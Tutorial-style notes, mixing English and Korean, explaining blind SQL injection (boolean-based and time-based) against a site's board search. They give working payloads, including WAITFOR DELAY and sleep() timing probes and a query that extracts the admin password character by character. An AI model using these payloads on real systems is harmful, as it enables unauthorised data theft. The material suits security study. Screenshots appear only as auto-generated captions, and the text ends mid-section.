**SQL Injection (Blind)**

If the web page where you want to attack doesn`t print any errors and query result list, the attack from this pattern is hard to success. Because it doesn`t provide query result data, we cannot confirm the data through attack like UNION query.

In this case, Blind SQL Injection can usefully be used. In other words, the attack is an attack method that spill out a database value from true/false of query result.

1. Boolean-based Blind Attack

If some website provides a board search function, we can test true/false like this.

(TRUE)

<input>

스터디’ AND 1=1—

<result>

게시판 검색됨 ( true )

(FALSE)

<input>

스터디’ AND 1=2—

<result>

게시판 검색 안됨 (false)

If this attempt is executed in the webpage, information leakage is possible from the result by inserting query condition that hacker want to know through AND condition is a Blind SQL Injection.

1. Time-based Blind Attack

In some cases, because the response results always the same, there may be cases where it is not possible to determine true/false based on the response result alone.

In this case, it can be identified as true/false from the difference of response time by inserting a query delaying time.

(MS SQL Server environment)

<input>

스터디’ IF SYSTEM\_USER=‘admin’ WAITFOR DELAY ‘00:00:5’--

<result>

Select \* from Boards where title=‘스터디’ if system\_user=‘admin’ waitfor delay ’00:00:5’ --

1. True: 응답이 5초 지연 ( system account: admin )
2. False: 즉시 응답 ( X )

(My SQL environment)

<input>

스터디 and sleep(5) #’

<result>

Select \* from Boards where title= ‘스터디’ and sleep(5)

1) True: 응답이 5초 지연 ( the search word exists )

2) False: 즉시 응답 ( X )

In summary, Blind SQL Injection is an attack method that can gain the data only to server response of the query result is true/false. This attack can gain important information by comparing many conditions. In almost any cases, the attack proceeds using an automated tool.

<Attack Scenario> [password attack]

( ‘Z’ : ASCII 90 )

<소문자 확인>

스터디’ AND ASCII(LEFT((SELECT PASSWORD FROM [USERS] WHERE UserID=‘admin’),1)) > 90

We can attack like this.

<Low>

스크린샷, 앉아있는, 전화이(가) 표시된 사진

자동 생성된 설명

<Boolean-based>

스크린샷이(가) 표시된 사진

자동 생성된 설명

스크린샷이(가) 표시된 사진

자동 생성된 설명

<Time-based>

스크린샷이(가) 표시된 사진

자동 생성된 설명

스크린샷이(가) 표시된 사진

자동 생성된 설명

<input>